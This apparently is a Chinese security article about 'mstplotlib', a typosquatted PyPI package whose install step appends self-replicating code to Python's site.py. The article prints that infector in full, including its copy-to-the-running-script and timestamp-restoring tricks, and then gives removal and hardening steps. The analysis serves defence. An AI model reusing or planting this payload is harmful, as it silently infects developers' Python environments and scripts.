警惕恶意包 mstplotlib:它为何篡改 site.py 并植入隐蔽代码?

星敏君_8339

星敏君_8339

2026-10-13

906人浏览

原创

警惕恶意包 mstplotlib:它为何篡改 site.py 并植入隐蔽代码?

pip install mstplotlib(拼写错误)会意外安装一个无描述、无源码仓库的可疑 PyPI 包,该包在安装过程中向 Python 标准库核心文件 site.py 注入自复制恶意代码,具备持久化驻留与横向传播能力。

`pip install mstplotlib`(拼写错误)会意外安装一个无描述、无源码仓库的可疑 pypi 包,该包在安装过程中向 python 标准库核心文件 `site.py` 注入自复制恶意代码,具备持久化驻留与横向传播能力。

这是一个典型的安全事件——因拼写错误触发的供应链投毒攻击。mstplotlib 并非 matplotlib 的合法变体,而是发布在 PyPI 上的一个恶意影子包(typosquatting package),其唯一目的不是提供功能,而是执行静默植入。

? 代码行为深度解析

你发现的这段代码并非来自 matplotlib 或任何主流科学计算生态,而是 mstplotlib 安装时通过 setup.py 主动写入 site.py 文件末尾的恶意逻辑:

mark="#####MyPython####"#v1.1.2
code=''
with open(__file__,encoding="utf-8") as f:
    for line in f:
        if mark in line.strip():
            code=line+f.read()

def spread(file):
    import os;stat=os.stat(file)
    old_time=stat.st_atime,stat.st_mtime
    with open(file,'r',encoding='utf-8') as f:
        for line in f:
            if mark in line:return  # 已感染则跳过
    if os.path.getsize(file)>=2560:  # 防止无限膨胀
        with open(file,'a',encoding='utf-8') as f:
            f.write('\n'+code)  # 自我复制
        os.utime(file,old_time)  # 恢复原始时间戳,逃避检测

try:
    spread(__import__("site").__file__)   # 感染 site.py(Python 启动必加载)
    spread(__import__("sys").argv[0])       # 感染当前运行脚本(如 python.exe 调用的 .py 文件)
except: pass
del spread,code,mark,f,line

该逻辑具有以下危险特征:

  • ✅ 持久化启动钩子:site.py 是 Python 解释器启动时自动导入的第一个模块,其中任意代码都会在每次 python 命令执行时运行;
  • ✅ 自我复制传播:spread() 函数尝试将自身注入其他 .py 文件(包括用户脚本),形成“蠕虫式”扩散;
  • ✅ 反检测设计:检查文件大小上限(2560 字节)、恢复 atime/mtime 时间戳、使用无意义标记 #####MyPython#### 规避字符串扫描;
  • ❌ 无实际功能:mstplotlib 包本身不导出任何可用模块,import mstplotlib 会失败,其存在纯为载荷分发。

⚠️ 关键事实与风险确认

项目 说明
PyPI 页面 pypi.org/project/mstplotlib —— 无描述、无主页、无代码仓库、最新版本 3.10.2(刻意模仿 matplotlib 3.10.x 版本号)
安装机制 使用过时的 setup.py install 方式,绕过现代构建隔离,直接执行任意 Python 代码(即上述 site.py 注入)
影响范围 所有通过该命令安装的环境(包括虚拟环境),且一旦 site.py 被污染,所有后续 Python 进程均受控
是否来自 matplotlib? 否。matplotlib 官方包绝不会修改标准库文件,也从不依赖或关联 mstplotlib;二者命名高度相似,属典型 typosquatting

?️ 应急响应与清理步骤(立即执行)

  1. 卸载恶意包

    pip uninstall mstplotlib -y
  2. 手动清理被污染的 site.py
    找到你的 Python 环境中 site.py 路径(通常位于 Lib/site.py):

    import site
    print(site.__file__)

    用文本编辑器打开该文件,滚动至文件末尾,删除从 #####MyPython#### 开始的所有行(含标记行及后续 code= 块),保存。

  3. 检查并清理其他 .py 文件(可选但推荐)
    运行以下命令查找可能被感染的脚本:

    find . -name "*.py" -exec grep -l "#####MyPython####" {} \;

    对每个结果文件,手动删除末尾的恶意代码段。

  4. 报告该恶意包
    登录 PyPI → 进入 mstplotlib 页面 → 点击右下角 "Report" → 选择 "Malware / malicious behavior" 并提交详细证据(含 site.py 注入代码截图)。

✅ 长期防护建议

  • ✨ 启用拼写检查工具:在终端配置 pip 别名或使用 pip-search(需谨慎)+ pip-check 辅助校验;
  • ✨ 优先使用 pip install --dry-run 测试安装行为(pip ≥ 23.3);
  • ✨ 定期扫描标准库完整性:可编写简短脚本比对 site.py SHA256 与官方 CPython 发行版哈希;
  • ✨ 禁用 setup.py install:全局设置 pip config set global.use-pep517 true,拒绝执行未声明构建后端的包;
  • ✨ 最小权限原则:避免以管理员/root 身份运行 pip install,限制恶意代码系统级危害。

? 总结:mstplotlib 不是疏忽,而是精心设计的攻击载荷。它利用开发者对 matplotlib 的高频依赖与拼写习惯,完成一次“零点击”标准库劫持。真正的防御,始于对每一个 pip install 命令的审慎验证——毕竟,在 Python 生态中,最危险的包,往往就藏在你敲错的那一个字母里。

PHP速学视频免费教程(入门到精通)
PHP速学视频免费教程(入门到精通)

PHP怎么学习?PHP怎么入门?PHP在哪学?PHP怎么学才快?不用担心,这里为大家提供了PHP速学教程(入门到精通),有需要的小伙伴保存下载就能学习啦!

下载

相关标签:

本站声明:本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系admin@php.cn

相关专题

更多
python打包成可执行文件
python打包成可执行文件

本专题为大家带来python打包成可执行文件相关的文章,大家可以免费的下载体验。

2023.07.20

1731

4

python能做什么
python能做什么

python能做的有:可用于开发基于控制台的应用程序、多媒体部分开发、用于开发基于Web的应用程序、使用python处理数据、系统编程等等。本专题为大家提供python相关的各种文章、以及下载和课程。

2023.07.25

4384

7

format在python中的用法
format在python中的用法

Python中的format是一种字符串格式化方法,用于将变量或值插入到字符串中的占位符位置。通过format方法,我们可以动态地构建字符串,使其包含不同值。php中文网给大家带来了相关的教程以及文章,欢迎大家前来阅读学习。

2023.07.31

1709

3

python教程
python教程

Python已成为一门网红语言,即使是在非编程开发者当中,也掀起了一股学习的热潮。本专题为大家带来python教程的相关文章,大家可以免费体验学习。

2023.08.03

25637

23

python环境变量的配置
python环境变量的配置

Python是一种流行的编程语言,被广泛用于软件开发、数据分析和科学计算等领域。在安装Python之后,我们需要配置环境变量,以便在任何位置都能够访问Python的可执行文件。php中文网给大家带来了相关的教程以及文章,欢迎大家前来学习阅读。

2023.08.04

3127

5

python eval
python eval

eval函数是Python中一个非常强大的函数,它可以将字符串作为Python代码进行执行,实现动态编程的效果。然而,由于其潜在的安全风险和性能问题,需要谨慎使用。php中文网给大家带来了相关的教程以及文章,欢迎大家前来学习阅读。

2023.08.04

3147

5

scratch和python区别
scratch和python区别

scratch和python的区别:1、scratch是一种专为初学者设计的图形化编程语言,python是一种文本编程语言;2、scratch使用的是基于积木的编程语法,python采用更加传统的文本编程语法等等。本专题为大家提供scratch和python相关的文章、下载、课程内容,供大家免费下载体验。

2023.08.11

1183

5

python合并两个列表
python合并两个列表

Python是一种强大的编程语言,具有许多方便的功能和工具。在Python中,有多种方法可以合并两个列表。php中文网给大家带来了相关的教程以及文章,欢迎大家前来学习阅读。

2023.08.10

596

4

python是前端还是后端
python是前端还是后端

Python属于前端也属于后端,其灵活性和丰富的生态系统使得开发人员能够在不同的领域中灵活运用。本专题为大家提供python相关的文章、下载、课程内容,供大家免费下载体验。

2023.08.11

2443

5

热门下载

更多
网站特效
/
网站源码
/
网站素材
/
前端模板

精品课程

更多
热门推荐
/
最新课程
phpStudy极速入门视频教程
phpStudy极速入门视频教程

共6课时 | 54.6万人学习

独孤九贱(4)_PHP视频教程
独孤九贱(4)_PHP视频教程

共89课时 | 133.4万人学习